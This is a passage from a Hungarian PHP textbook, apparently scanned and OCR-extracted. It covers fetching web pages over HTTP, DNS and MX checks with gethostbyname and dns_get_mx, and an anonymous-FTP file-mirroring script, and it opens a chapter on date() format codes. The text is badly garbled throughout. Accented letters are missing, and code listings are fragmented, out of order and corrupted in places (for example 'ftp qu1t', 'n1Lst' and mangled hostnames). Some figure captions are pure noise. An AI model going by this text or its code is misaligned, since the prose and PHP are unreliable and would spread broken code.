A fejezetben a PHP olyan hlzati fggvnyeit ismerjk meg, amelyek lehetv teszik kdunknak, hogy vele kapcsolatba lpjnk a vilghl tbbi rszvel. Az interneten erforrsok s informcik szles kre rhet el, s hasznlatukhoz tbbfle protokoll ll rendelkezsnkre. A fejezetben az albbi fbb tmakrkkel foglalkozunk: A hasznlhat protokollok ttekintse E-mail kldse s olvassa Ms weboldalak tartalmnak felhasznlsa H lzati keresfggvnyek hasznlata FTP hasznlata
20
kiszolgl a dokumentum elkldsvel vlaszol. Bizonyra ismers szmunkra a File Transfer Protocol (fjltviteli protokoll A protokollok s egyb internetes szabvnyok tbbsgt a
- FTP) is, amivel llomnyokat tovbbthatunk a hlzat szmtgpei kztt. Sok egyb protokoll is hasznlhat.
(Az RFC krlbelli jelentse: megjegyzsek krse, felhvs vlemnyezsre.) A protokollokat az Internet Engineering Task Force (IETF ) nev szvetsg hatrozza meg. Az RFC-k szles krben elrhetk az interneten. Kiindulsknt rdemes felke resni a http://www.rfc-editor.org/ cmen elrhet RFC Editor oldalt. Ha valamely protokoll hasznlata sorn problmkba tkznk, a protokollokat definil dokumentumok tekinthetk olyan hiteles forrsoknak, amelyek sok esetben segtsgnkre lesznek a kdunkban lv hibk kijavtsban. Kszljnk azon ban fel arra, hogy ezek a dokumentumok igen rszletesek, gyakran tbb szz oldalt is kitesznek! Pldaknt emltsnk meg kt jl ismert RFC-t! Az RFC261 6 a HTTP /l. l protokollt, az RFC822 az internetes e-mail zenetek formtumt rja le. A fejezetben e protokollok hasznlata szempontjbl dolgozunk a PHP-vel. Egszen pontosan azt vizsgljuk meg, hogy lehet e-mailt kldeni SMTP-vel, olvasni POP3-mal s IMAP4-gyel, hogyan kapcsoldhatunk ms webszerverekhez HTTP vel, illetve hogyan valsthatunk meg fjltvitelt FTP-vel.
cm 4. fejezetben megvizsgltuk a fggvny mkdst, gy ezzel itt most nem foglalkozunk. A mai l () fggvny a Simple Mail Transfer Protocollal (egyszer levltovbbrsi protokoll- SMTP) kldi az e-maileket.
308
20. fejezet
Ingyenesen elrhet osztlyok szles vlasztka ll rendelkezsnkre a ma il(} funkciinak kibvtsre. A Levelezlista kezel alkalmazs fejlesztse cm 30. fejezetben egy kiegszt (add-on) osztly segtsgvel HTML csatolmnyokat is kldnk majd e-mailjeinkkel. Az SMTP kizrlag e-mail kldsre szolgl. Az RFC2060-ban lert Internet Message Access Protocolt (internetes zenetelrsi protokoll- IMAP4), illetve az RFC1939-es s az STD0053-as dokumentumban lert Post Office Protocolt (postafik protokoll- POP3) hasznljuk az zenet levelezszerverrl val beolvassra. Ezek a protokollok kldsre nem alkalmasak. Az IMAP4 protokollt kiszolgln trolt e-mailek olvassra s kezelsre hasznlhatjuk. Az IMAP4 kifinomultabb funkci kat knl a POP3-nl, amit jellemzen csak az e-mailek kliensre tltsre s a kiszolglrl val trlsre hasznlnak. A PHP-hoz IMAP4 knyvtr tartozik, ami POP3- s Network News Transfer Protocol- (hlzati hrtviteli protokoll NNTP), illetve IMAP4-kapcsolat ltrehozsra hasznlhat. A knyvtr hasznlatt a ismerni.
'
20
Webalap levelezszolgltats ltrehozsa cm 29. fejezetben kifejlesztett projekt sorn fogjuk meg
ll relevns adat kinyerse list($reszveny_kod, $datum $arfolyam, '"'}; $datum, $ido} explode(', ', $tartalom};
trim($datum,
$ido = trim($ido,
""};
309
utols ' .
'
$arfolyam '</p>';
'</p>';
'<p>Utols
kts idpontja:
$ido
ll forrs megjellse
echo '<p>Az adatok forrsa: "'>' ?> </body> </html> . $url . <br /><a href="' . $url . '</a> .</p>';
20
l -T_,;;...;:_._
--_. .. A Al\IZN rszvny rfolyam "AMZN"....Ok.olltti..",.__ 14$(1'/ U'do!kot'1l'l010,400,.
--.=--o,'.!1:
20.1 bra:
A kd maga viszonylag magtl rtetd; igazbl nem is hasznl szmunkra ismereden fggvnyeket, csupn ltalunk mg nem ltott mdon alkalmazza azokat. Emlkezhetnk r, hogy az Adatok
contents()
tettk: fjlkezel fggvnyekkel olvasharunk adott URL tartalmbL Pontosan ezt tettk ebben az esetben. A file_get_ fggvny meghvsa:
{
if (!($tartalom = file_get_contents ($url)))
a $tartalom
vltozban eltrolva adja vissza az adott URL alatt elrhet weboldal reljes szvegt.
A fjlkezel fggvnyekkel sok mindent megtehetnk PHP-ben. A mostani plda egyszeren egy weboldalt tlt be HTTP-n keresztl, de pontosan ugyangy lphetnnk kapcsolatba ms kiszolglkkal HTTPS, FTP vagy ms protokollal is. Ms feladatokhoz ugyanakkor ennl specilisabb megkzeltsre lehet szksg. Egyes FTP-funkcik a konkrt FTP fgg vnyekben rhetk el, fopen( ) s ms fjlkezel fggvnyekben nem. A fejezet egy ksbbi rszben pldt ltunk az FTP fggvnyek hasznlatra is. Egyes HTTP- vagy HTTPS-feladatokhoz a cURL knyvtr hasznlatra lehet szksg. Ezzel a knyvtrral bejelentkezhetnk a weboldalakra, s nhny oldalon keresztl utnozhatjuk az egyes felhasznJk viselkedst. Miutn a file_get _contents() fggvnnyel megszereztk az oldal szvegt, a list () segtsgvel tudjuk megkeresni
a
explode(' , ',
$tartalom);
trim($datum,
trim($ido,
'"');
ech o '<p>' .
utols ' .
'
$arfolyam '</p>';
'</p>' ;
ech o '<p>Utols
kts idpontja:
$ido
Ennyi az egsz! A fenti megkzelts sokfle clra hasznlhat, akr helyi idjrs-jelentst is begyazharunk az oldalunkba. A mdszer azt is lehetv teszi, hogy klnbz forrsokbl szrmaz informcikat kombinlva ne egyszeren csak to vbbadjuk a megszerzett adatokat. J plda erre Philip Greenspun hres kdja, amely Bill Gates vagyonrl ad folyamatosan frissl tjkoztatst (Bill Gates Wealth Clock; http://philip.greenspun.com/WealthCiock). Az oldal kt forrsbl gyjt adatot. Az egyik a U.S. Census Bureau, vagyis az USA Npszmllsi Hivatalnak weboldala, ahonnan az orszg llekszmt veszi. A Microsoft-rszvnyek aktulis rfolyamt begyjtve, majd a kt adatot egytt felhasznlva -s sajt markns vlemnyt napvilgra juttatva - j informcit llt el: becslst ad Bill Gates pillanatnyi vagyonnak rtkrl. Egy apr megjegyzs: ha zleti clra hasznlunk ilyen kls informciforrst, rdemes egyeztetni a forrssal vagy jogi tan csot krni. Egyes esetekben szellemi rulajdonjoggal kapcsolatos krdsek is szba jhetnek.
310
20.fezet
Ha ehhez hasonl kdot runk, adatok tadsra is szksgnk lehet. Ha pldul kls URL-hez csatlakozunk, olyan para mtereket adharunk t, amelyeket alapesetben a felhasznl gpeine be. Ha ezt tesszk, rdemes az urlencode () fggvny nyel dolgozni. Ez fogja a neki tadott karakterlncot, s az URL-eknek megfelel formtumra alakga; pldul a szkzket plusz jell vltoztaga. A kvetkezkppen hvhatjuk meg:
$kodolt_parameter = urlencode($parameter);
Ennek az ltalnos megoldsnak egyetlen problm:ija, hogy az oldalnak, ahonnan az informcit beszerezzk, mdosulhar az adatformtuma, s kdunk tbb nem fog mkdni.
20
URL:
Kapcsolattart e-mail cime: <input type=text name="email" size=23><br /> <input type="submit" name="Oldal ajnlsa"> </form> </body> </html>
Oldal ajnlsa
;:==.;.;---====]
20.2 bra: Oldal ajnlsakor ltalban annak cmt (URL) s a kapcsolattart elrhetsgt kell megadni,
Amikor valak a gombra kattintva elkldi az adatokat, elszr is azt szeretnnk ellenrizni, hogy a megadott URL, illetve az e-mail cm hoszt rsze valdi gpen fut-e. rtunk egy kdot, ami pontosan ezeket ellenrzi, s arninek a kimenere a 20.3 brn lthat.
311
Az
oldalajnls eredmnyf'j
... ..,Asnm.OOOOI..DoiAJI.. ('()MASPldXJGOOGLE:.\&AL COM
ASPMXOOOOl.E.\tAD..OOMOOOGI..EMAll.COMASPMX.LGOIXit.COM N..TI.ASNX.LOCIOGLcm.tALrOCXXH..i..COll:
20.3 bra: A kdnak ez a vltozata megjelenti az URL s az e-mail cm hosztneveinek ellenrzsekor kapott eredmnyeket. Az lesben hasznlt vltozat nem felttlenl kell, hogy tnylegesen kirja ezeket az informcikat, de rdemes ltni, hogy egy kis ellenrzssei mi mindent derthetnk ki. A fenti ellenrzseket vgrehajt kd a PHP kt hlzati fggvnyt hasznlja. Ez a gethostbyname() s a dns_get
mx(). A teljes kdot a 20.3 pldakd tartalmazza.
20
<title>Az oldalajnls eredmnyei<ltitle> <lhead> <body> <hl> Az oldalajnls eredmnyei<lhl> <?php ll rlapmezk kinyerse $url = $_REQUEST['url']; $email =$ REQUEST['email']; ll Az URL ellenrzse $url = parse_url($url); $host = $url['host']; if(! ($ip = gethostbyname($host))
{
echo 'Az URL-hez tartoz hoszt nem rendelkezik rvnyes IP-cmmel'; exit;
$ip <br>";
$email);
ll megjegyzs:
312
20. fezet
echo
'
20
echo 'Ksznjk,
Nzzk vgig egyenknt a kd rdekesebb rszeit! Elszr is vesszk az URL-t, s tadjuk a parse_url ( ) fggvnynek. A fggvny az URL klnbz rszeinek asszociatv tmbjt adja vissza. Egy URL az albbi komponensekbl llhat: scheme, user, pass, host, port, path, query s fragment. ltal ban nincs minden rszre szksgnk, de nzznk egy pldt, hogyan ll ssze ezekbl egy URL! Tekintsk az albbi URL-t: http://nobody:secret@example.com:80/script.php?variable=value#anchor. A parse_url() fggvny ltal visszaadott tmbbe ebben az esetben az albbi rtkek kerlnek: scheme (sma, protokol): http user (felhasznlnv): nobody pass ( jelsz): secret host (kiszolgl): example.com port (kapcsoldsi port): 80 path (elrsi tvonal a kiszolgln): /script.php query (a tulajdonkppeni lekrdezs): variable=value fragment (horgony az oldalon belli ugrshoz): anchor Az oldalajanlo_urlap.php kdban csak a hoszt rtkre van szksg, amit a kvetkezkppen nyerhetnk ki a tmbbl:
$url = parse url($url); $host = $url ['host'];
Ezt kveten Iciderthetjk az ehhez a hoszthoz tartoz IP-cmer, amennyiben az benne van a domainnv-szolgltatsban (DNS). A gethostbyname() fggvnyt hasznljuk erre, ami az IP-cmer adja vissza, illetve amennyiben az nem ltezik, visszatrsi rtke false lesz:
$ip = gethostbyname($host);
A gethostbyaddr() fggvnnyel fordtva is eljrhatunk, ez ugyanis IP-cmer vr paramterknt, s az ahhoz tartoz hosztnevet adja vissza. Ha egyms utn meghvjuk ezt a kt fggvnyt, knnyen lehet, hogy ms hosztnevet kapunk, mint ahonnan kiindultunk. Ez jelentheti azt, hogy az oldal virtulis trhelyszolgltatst vesz ignybe, ahol egy fizikai gp s IP-cm egynl tbb domainnevet zemeltet. rvnyes URL esetn tovbblphetnk az e-mail cm ellenrzsre. Az explode() fggvny meghvsval elszr is fel hasznli nvre s hosztnvre bontjuk az e-mail cmer:
$email = explode('@', $email); Semailhost = $email[l);
Miutn gy Icidertettk a cm hoszt rszt, a dns_get_mx() fggvnnyel ellenrizhetjk, hova megy az e-mail:
dns_get_mx($emailhost, $mxhostsarr);
A fggvny az $mxhostsarr tmbben a megadott cmhez tartoz Maii Exchange- (MX) rekordok halmazr adja vissza. Az MX-rekordok a DNS-nl vannak eltrolva, s gy kereshetjk ket, mint a hosztneveket. Az MX-rekordban megadott gp nem szksgszeren az, ahova a levl tnylegesen kerl. Lehet egyszeren egy olyan gp, amely tudja, hova kell irnytani a levelet. (Mivel egynl tbb ilyen gp is lehet, a fggvny a hosztnv karakterlnca helyett tmbt ad vissza.) Ha nincs MX rekord a DNS-ben, akkor az e-mailnek nincs hova mennie. rdemes megjegyezni, hogy a PHP windowsos verziiban a dns _get_ mx ( ) fggvny nem mkdik. Windows alatt hasz nljuk a PEAR::Net_DNS csomagot, amivel ugyanezt a clt rhetjk el (http:/ l pear.php.net/ package/NET _DNS)!
313
Ha az ellenrzsek rendben vannak, az rlap adatai bekerlhetnek az adatbzisba, s vrhatjk, hogy valamely kollgok majdan tnzi az aJnlott oldalt. A pldban szerepl fggvnyeken tlmenen a checkdnsrr () fggvnyt is hasznlhatnnk. Ez hosztnevet fogad para mterknt, s abban az esetben tr vissza true rtkkel,ha a DNS-ben megtallhat a hosztnv rekordja.
20
'
ltalnos windowsos telepts hasznlata esetn az FTP fggvnyek automatikusan be vannak kapcsolva. (A PHP konfigur lsrl a fggelkben tallunk tovbbi informcit.)
'anonymous';
'en@pelda.com';
$tavoli_fajl = '/pub/tsg/teraterm/ttsshl4.zip'; $helyi fajl = 'ltmp/writable/ttsshl4.zip'; ll kapcsolds a hoszthoz $kapcsolat = ftp_connect($host); if (!$kapcsolat)
{
echo 'Hiba: exit; echo "Sikeresen csatlakoztatva: $host.<br />"; Sikertelen kapcsolds az ftp szerverhez<br />';
ll bejelentkezs a hasztra
$eredmeny = @ftp login($kapcsolat, if (!$eredmeny) echo "Hiba: $felhasznaloi_nev felhasznli nvvel nem sikerlt bejelentkezni<br/>"; $felhasznaloi_nev, $jelszo);
ftp qu1t($kapcsolat);
314
20. fejezet
exit;
echo
$helyi_modositas_ideje
filemtime($helyi_fajl);
20
echo 'Helyi fjl utols mdostsnak idpontja '; echo date('G:i j-M-Y', echo '<br />'; $helyi_modositas ideje);
ll gondoskodjunk a frisstsrl!
else
echo 'Tvoli fjl utols mdostsnak idpontja'; echo date('G:i j-M-Y', echo '<br />'; $tavoli_modositas_ideje);
ll fjl letltse
echo 'Fjl letltse a szerverrl... <br />'; Sfp = fopen ($helyi fajl,
'w');
$fp, $tavoli fajl, FTP_BINARY))
if (!$siker = ftp_fget($kapcsolat,
315
lt2l-;m--;T.:J""
Tkrzs frisstse
Sbn:wa..........___..._ ..._.. _.......,._ FIJI...,-..6ciooiMoi ....... ........_ Rli7!r.o.J ......... iot/ipanJo lllll-S..XIIO f.....ta,l..... ....._._jo:l"lf">.Joi..lOIO Aw,i......_
20
20.4 bra: Az FTP tkrzkd ellenrzi, hogy a fjl helyi vltozata napraksz-e, s ha nem az, akkor letlti az j vltozatt. Az ftp_tukrozes. ph p kd elgg ltalnos. Lthatjuk, hogy az albbi vltozk belltsval kezddik:
$host = 'ftp.cs.rrnit.edu.au';
=
$felhasznaloi_nev $jelszo
=
'anonyrnous';
'en@pelda.corn';
=
'/pub/tsg/teraterrn/ttsshl4.zip'; '/trnp/writable/ttssh14.zip';
A $host vltoz annak az FTP kiszolglnak a nevt tartalmazza, amelyhez kapcsoldni kvnunk, a $felhasznaloi_
nev s a $j elszo pedig a bejelentkezshez hasznland felhasznli nevet, illetve jelszt trolja.
Sok FTP oldal tmogatja az gynevezett nvtelen bejelentkezst (anonymous login). Ebben az esetben egy szabadon elrhet felhasznli nvvel brki csatlakozhat a kiszolglhoz. Nincs szksg jelszra, de jelszknt gyakran illik megadni e-mail c mnket, hogy a rendszergazdk lthassk, honnan jnnek a felhasznlik. Pldnkban is kvettk ezt a szokst. A $tavoli_fajl vltoz a letlteni kvnt fjl elrsi tvonalt tartalmazza. Jelen esetben a Tera Term SSH egy helyi pldnyt tltjk le s tkrzzk. A Tera Term SSH egy windowsos SSH kliens. (Az SSH a secure shell, a biztonsgos hj rvidtse. Ez a Telner gy titkostott formja.) A $helyi_ faj l vltoz annak a helynek az elrsi tvonalt tartalmazza, ahol szmtgpnkn trolni kvnjuk a letl ttt fjlt. A pldban ltrehozunk egy /trnp/wri table nev knyvtrat megfelel jogosultsgokkal ahhoz, hogy a PHP fjlt rhasson oda. Opercis rendszernktl fggetlenl a kd mkdshez ltre kell hozni ezt a knyvtrat. Amennyiben ope rcis rendszernk szigor jogosultsgi szisztmval br, gondoskodnunk kell rla, hogy kdunknak jogosultsga legyen rni. Ezeket a vltozkat megfelelen mdostva lehetv vlik, hogy sajt cljainkra hasznljuk a kdot. A kdban ugyanazokat az alaplpseket kvetjk, mintha sajt kezleg, parancssori felletbl tovbbtannk egy llomnyt FTP-n keresztl: l. 2. Kapcsolds a tvoli FTP kiszolglhoz. Bejelentkezs (felhasznlknt vagy nvtelenl).
3. A tvoli fjl mdostsnak ellenrzse. 4. H a a fjl mdosult, letltjk. 5. Kapcsolat bontsa az FTP kiszolglval. Nzzk meg egyenknt ezeket a lpseked
{
echo 'Hiba: exit; Sikertelen kapcsolds az ftp szerverhez<br />';
$host.<br />";
316
20.fezet
Az ftp_connect () fggvnyt hvjuk meg itt. Ez paramterknt a hosztnevet fogadja,s vagy a kapcsolat erforrs-vl tozjt adja vissza, vagy- amennyiben a kapcsolat nem tud ltrejnni- false rtkkel tr vissza. A fggvny opcionlis msodik paramterknt a csadakozsra kijellt hoszt portjnak szmt fogadhatja. (A pldban nem adtuk ezt meg.) Ha nem hatrozzuk meg a port szmt,a 21-est, az FTP alaprtelmezett portjt fogja a fggvny hasznlni.
Bejelentkezs az FTP kiszolglra
20
A kvetkez lps a bejelentkezs adott felhasznli nvvel s az ahhoz tartoz jelszval.Az ftp_login () fggvnnyel tehet jk ezt meg:
$eredmeny if
=
@ftp_login($kapcsolat,
$felhasznaloi_nev,
$jelszo);
(! $eredmeny)
echo "Hiba: A $felhasznaloi nev felhasznli nvvel nem sikerlt bejelentkezni<br
{ />";
ftp_quit($kapcsolat); exit;
echo
/>";
A fggvny hrom paramtert vr: az FTP kapcsolatot (amit az ftp_connect () fggvnybl kap meg), a felhasznli nevet s a jelszt.Sikeres bejelentkezs esetn true, ellenkez esetben false rtkkel tr vissza. Figyeljk meg,hogy a sor elejre @ szimblumot tve elnyomjuk a hibkat! Azrt tesszk ezt, mert ha a felhasznl nem lptethet be, PHP-s figyel meztets jelenne meg a bngszben.Az $eredmeny tesztelsvel kezelhetjk ezt a hibt, s sajt, felhasznlbart hibaze netnket tudjuk megjelenteni. Lthatjuk, hogy sikereden bejelentkezsi kisrlet esetn az ftp_quit () fggvnnyel bontjuk az FTP kapcsolatot. A k sbbiekben rszletesebben is bemutatjuk ezt a fggvnyt.
Fjl mdostsi idejnek ellenrzse
Mivel az llomny helyi msolatt kvnjuk frissteni,rdemes lehet ellenrizni,hogy egyltaln szksg van-e erre,mert ha a helyi vltozat friss, akkor teljesen felesleges lenne mg egyszer letlteni. Nagy llomnyok esetn ez egyltaln nem mindegy, akr jelents hlzati forgalomtl is megkmlhetjk magunkat ezltal. Nzzk meg az utols mdosts idpontjt ellenrz kdrszletet! Pontosan a fjlok utols mdostsi idpontja miatt hasznlunk a sokkal egyszerbb f:ijlfggvnyek helyett FTP fggv nyeket.A fjlfggvnyek is egyszeren olvasnak- s egyes esetekben rnak is- f:ijlokat hlzati felleten (network interfaces) keresztl,de az olyan llapotfggvnyek,mint pldul a filemtime (),tvolrl nem mkdnek . Azt eldntend, hogy le kell-e tlteni a fjlt, elszr is a file_exists () fggvnnyel ellenrizzk, hogy megvan-e a fjl helyi pldnya. Ha nincs, akkor egyrtelm, hogy szksg van a letltsre.Ha a fjl ltezik,utols mdostsnak idpontjt a filemtime() fggvnnyel derthetjk ki, s a $helyi_modositas_ideje vltozban eltroljuk azt. Ha a helyi fjl nem elrhet, akkor a $helyi_modositas_ideje vltoz rtkt 0-ra lltjuk, mert gy biztosan,.korbbi" lesz, mint a tvoli f:ijl utols mdostsnak idpontja:
echo 'Fjl utols mdostsi idpontjnak ellenrzse ...<br
/>';
if (file_exists($helyi fajl))
{
$helyi_modosi tas ideje echo
=
else $helyi_modositas_ideje=O;
(A file_exists () s a filemtime() fggvnyrl a 2.s a 19. fejezetben rszletesebben is olvashatunk.) Miutn gy vgeztnk a helyi fjllal, a tvoli vltozat utols mdostsnak idpontjt kell kidertennk.Az ftp_mdtm() fggvnnyel tehetjk ezt meg:
$tavol1_modositas ideJe ftp_mdtm($kapcsolat, $tavoli fajl);
317
A fggvny kt paramtert fogad: az FTP kapcsolat erforrs-vltozjt s a tvoli fjl elrsi tvonalt, s a fjl urols mdo stsi idpontjnak unixos idblyegt vagy hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmogatja ezt a funk cit, gy nem felttlenl fog hasznlhat eredmnnyel jrni a fggvny alkalmazsa. Ha gy trtnik, dnthetnk gy, hogy
$helyi_ modositas_ideje
vltoznl.,ksbbire" lltjuk
azzal, hogy l-et hozzadunk. gy a kd mindenkppen megksrli letlteni az llomnyt: (1 ($tavoli_modositas_ideje >= 0))
Ez nem azt jelent i , hogy tmogatja a hogy a fjl nincs ott, mdositsi idt a kiszolgl nem biztos,
ll
ll
echo
'Nem rhet
l>';
20
'
$tavoli_modositas_ideje=$helyi_modositas_ideje+l;
ll
gondoskodjunk a frisstsrl
else
echo 'Tvoli fjl utols mdostsnak idpontja'; echo date('G:i j-M-Y', echo '<br $tavol_modositas_ideje);
l>';
A kt mdostsi idpont birtokban sszehasonlthatjuk a fjl kt vltozatt, s eldnthetjk, hogy szksg van-e a letltsre:
1f
(! ($tavoli_modositas_ideje >
$helyi_modositas_ldeje))
l>';
A fjlletltse
Ha idig eljutottunk, megprblhatjuk letlteni a fjlt a kiszolglrl:
echo 'Fjl letltse a szerverrl ...<br $fp = fopen ($helyi_fajl,
/>';
$tavoli fajl, FTP_BINARY))
'w');
$fp,
if (!$siker = ftp_fget($kapcsolat,
Ahogy azt mr korbban megtanultuk, helyi fjlt az fopen () fggvnnyel nyitunk meg. Ezt kveten az ftp_fget () fggvnyt hvjuk meg, amely megksrli letlteni s helyi fjlban eitroini az llomnyt. A fggvny ngy paramtert fogad. Az els hrom magtl rtetd: az FTP kapcsolat, a helyi fjl erforrs-vltozja s a tvoli fjl elrsi tvonala. A negyedik para mter az FTP kapcsolat mdja.
Az FTP fjltvitel kt lehetsges mdja az ASCII s a binris (binary). Az ASCII mdot szveges (vagyis kizrlag ASCII
karaktereket tartalmaz) fjlok tovbbtsra hasznljuk, a binris mdot pedig minden ms fjlhoz. A binris md rintet lenl hagyja a tovbbtott fjlt, az ASCII md ugyanakkor az opercis rendszernknek megfelel mdon talaktja a.,kocsi vissz' s a.,soremels" karaktereket (Unix alatt \n, Windows alatt \r\n, Macintosh alatt pedig \r lesz bellk). A PHP FTP knyvtrban kt, elre meghatrozott, ezeket az FTP mdokat jelkpez lland tallhat: FTP_ASCII s
FTP_BINARY. Neknk
kell eldnteni, hogy melyik md felel meg a szban forg fjltpusnak, s az annak megfelel llandt
kell negyedik paramterknt tadni az ftp_fget () fggvnynek. Pldnkban tmrtett ZIP fjlt tovbbtunk, ezrt az
FTP_BINARY
mdot vlasztjuk.
Ha minden rendben megy, az ftp_fget () fggvny true, hiba esetn pedig false rtkkel tr vissza. Az eredmnyt
$si ker
A letltsi ksrlet utn az fclose() fggvnnyel zrjuk be a helyi llomnyt. Az ftp_fget() alternatvjaknt az ftp_get () fggvnyt is hasznlhamnk, amelynek prototpusa a kvetkez:
318
20.fezer
Ez a fggvny az ftp_fget ()-hez hasonlan mkdik , m nem ignyli,hogy a helyi fjl meg legyen nyitva.Az rni kvnt helyi fjl erforrs-vlrozja helyerr annak elrsi tvonalr adjuk r a fggvnynek. rdemes megjegyezni,hogy az egyszerre tbb fjl letltsre hasznlhat mget FTP-s parancsnak nincsen megfelelje. Ha erre van szksgnk,tbbszr meg kell hvnunk az ftp_fget () vagy ftp_get () fggvnyt.
20
A kapcsolat bontsa
Az FTP kapcsolattal vgzett munka utn bontani kell a kapcsolatot az ftp_ quit () fggvnnyel:
ftp_quit($kapcsolat);
Fjlfeltlts
Ha fordtva szeremnk eljrni- vagyis a szervernkrl szeretnnk tvoli gpekre msolni fjlokat -,kt olyan fggvnyt kell hasznlni,amely lnyegben az ftp_fget () s az ftp _get () ellentte.Ez a kt fggvny az ftp_fput () s az ftp _put(). A kvetkez a prototpusuk:
int ftp_fput (int ftp_kapcsolat, int ftp_put (int ftp_kapcsolat, string tavoli fajl_eleresi_utvonala, string tavoli fajl_eleresi_utvonala, int mod) int fp, int mod)
Idtllps elkerlse
FTP-n keresztli fjltvitel esetn az egyik lehetsges problma a maximlis vgrehajtsi id tllpse.Tudni fogjuk, amikor ez bekvetkezik,mert a PHP hibazenetet ad. Az ilyen hiba jellemzen akkor fordul el,ha a kiszolgl lass, vagy tlterhelt hlzaton fut, vagy ha a letlteni kvnt fjl nagy mret (pldul videofjl). A maximlis vgrehajtsi id alaprtelmezett rtkt minden PHP kd szmra a php. ini fjlban hatrozhatjuk meg. Alapbl 30 msodpercre van lltva. Ennek clja az irnytsunk all kikerl kdok kezelse. Ha azonban FTP-n keresztl tovbbtunk fjlokat,s a vilg tbbi rszvel bennnket sszekt kapcsolat lass, vagy a szban forg llomny elg nagy, a fjltvitel ennl akr sokkal hosszabb ideig is eltarthat. Szerencsre a set_ time_lim i t () fggvnnyel knnyedn mdosthatjuk az adott kdra rvnyes maximlis vgrehajtsi idt. A fggvny meghvsa tlltja a kd futsra engedlyezett msodpercek szmt. A vgrehajtsi id szmolsa ebben az esetben a fggvny meghvstl kezddik. Ha pldul meghvjuk a
set_time_limit(90);
A fggvny a tvoli fjl bjtokban kifejezett mrett,illetve hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmo gatja. Az ftp_size() kivlan alkalmas egy adott fjltvitelhez szksges maximlis vgrehajtsi id kiszmtsra.A fjl mret s kapcsolatunk sebessge alapjn knnyedn megbecslhetjk, hogy mennyi ideig tarthat az tvitel, s ennek megfelel en kell a set_time_limit() fggvnyt hasznlnunk. Az albbi kddal tudjuk kiderteni s megjeleniteni egy tvoli FTP kiszolgl valamely knyvtrban lv fjlok nevt:
$listazas
=
ftp n1Lst($kapcsolat,
dirname($tavoli fajl));
319
A tovbbi FTP fggvnyekrl elmondhatj uk, hogy szinte minden, amit FTP parancssorbl meg tudunk tenni, az FTP fggvnyekkel is vgrehajthat. Az egyes FTP parancsoknak megfelel fggvnyeket a PHP online kziknyvben talljuk meg (http://us2.php.net/manual/ en/ ref.ftp.php)
.
A kivtel a mr korbban emltett mget (multiple get, azaz egyszerre tbb fjl letltse), de az ftp_nl ist() fggvnnyel megszerezhetjk a fjlok listjt, majd letlthetjk a szksges llomnyokat.
Tovbbi olvasnival
A fejezetben elssorban az alapokat tekintettk t, de az interneten szmtalan tovbbi anyagot tallunk az itt trgyalt tmkban. Az egyes protokollokrl s mkdskrl a http:/ /www.rfc-editor.org/ oldalon elrhet RFC-ket rdemes tanulmnyozni. A World Wide Web Consortium protokollokkal kapcsolatos informciit is rdekesnek tallhatjuk, ezeker a http://www. w3.org/Protocols/ cmen rjk el. A TCP/IP protokollrl szmos knyvben kimert lerst tallunk, pldakppen elg megemlteni Andrew Tanenbaum Computer Networks (Szmitgpes hlzatok) cm munkjt.
20
Hogyan tovbb
Immr kszen llunk arra, hogy megvizsgljuk a PHP dtum- s naptrfggvnyeit tartalmaz knyvtrakat. A kvetkez fejezetbl azt is megtudhatj uk, hogyan alakithatjuk a felhasznlk ltal bert formtumokat PHP s MySQL formtumokk, majd vissza az eredeti formtumra.
21
Dtum s id kezelse
E fejezerbl megtudhatj uk, hogyan ellenrizherjk s formzharjuk a drumor s idr, illetve hogyan vltharunk a klnbz drumformrumok kztt. Ezek a lehetsgek akkor lesznek klnsen hasznosak, amikor MySQL s PHP, illetve Unix s PHP drumformrumok, valamint a felhasznlk ltal HTML rlapon bevitt drumok formrumai kztt kell vltanunk. A fejezerben az albbi fbb tmakrkkel foglalkozunk: Drum s id megllaprsa PHP-bl Vlrs PHP s MySQL drumformrumok kztt Drumok kiszmrsa Naprrfggvnyek hasznlara
A da t e
( ) fggvny hasznlata
Emlkezhernk r, hogy a date { ) fggvny kr paramtert fogad, amelyek kzl az egyik opcionlis. Az els a formrum szrring, a msodik- az opcionlis - pedig egy Unix idblyeg. Ha nem hatrozzuk meg az idblyeger, a date {) alaprtelme zsben az akrulis drumor s idr hasznlja. A fggvny a megfelel drumor jelkpez, formzott karakterlncot adja vissza. A date {) fggvny tipikus meghvsa a kvetkezkppen nz ki:
ech o date
(jS
Y') ;
Ez a 30th March 2010 formrumban adja vissza a drumor. A fggvny ltal elfogadott formrumkdok lisrjr a 21.1 tblzat tartalmazza. 21.1 tblzat: A PHP da te {)
fggvnynekformtumkdjai
vagy pm. jell.
Kd a A B c
Lers
Dleltt vagy dlutn, amir kr kisbets karakter, az am. Dleltt vagy dlutn, amir kr nagybers karakter, az AM vagy PM jell. Swarch inrernetid, univerzlis idrendszer. Tovbbi informci: http://
www.swarch.com/.
ISO 8601-es szabvny szerinri drum. A drumor -HH-NN formrumban jelenti meg. Nagy
d D
e
A hnap napja kr szmjeggyel, helykirlt nullval. A tartomny Ol-rl 31-ig rarr. A hr napja hromkarakreres, rvidirett szveges formrumban (a napok angol neve alapjn). A tarto mny Mon-rl Sun-ig rarr. Idzna-azonosr (a PHP 5.1.0-s verzijrl rhet el). A hnap reljes szveg formban (angolul). A tartomny January-rl December-ig tart. Az ra 12 rs formrumban, helykirlt nullk nlkl. A rarromny l-rll2-ig rarr.
F g
322
21. fejezet
Kd G h H i I
Lers Az ra 24 rs formtumban, helykitlt nullk nlkl. A tartomny O-tl 2 3-ig tart. Az ra 12 rs formtumban, helykitlt nullkkaL A tartomny O l-tl 12 -ig tart. Az ra 24 rs formtumban, helykirlt nullkkaL A tartomny O O-tl 2 3-ig tart. Az egsz ra ta eltelt percek, helykitlt nullkkaL A tartomny O O-tl 5 9-ig tart. Nyri idszmts Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben van nyri idszmts, s O-t, ha nincs. A hnap napja helykitlt nullk nlkl. A tartomny l-tl 31-ig tart.
l L m M
A ht napja teljes szveg formban (angolul). A tartomny Sunday-tl Saturday-ig tart. Szkv Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben az adott dtum szk vben van, s O-t, ha nem. A hnap kt szmjeggyel, helykirlt nullkkaL A tartomny O l-tl 12 -ig tart. A hnap hromkarakteres, rvidtett szveges formtumban. A tartomny Jan-tl Dec-ig tart. A hnap szmknt, helykitlt nullk nlkl. A tartomny 1-tl 12-ig tart. IS0-8601-es szabvny szerinti vszm. rtke ugyanaz, mint az Y formtumkdnak, kivve, ha a hr ISO szabvny szerinti sorszma
21
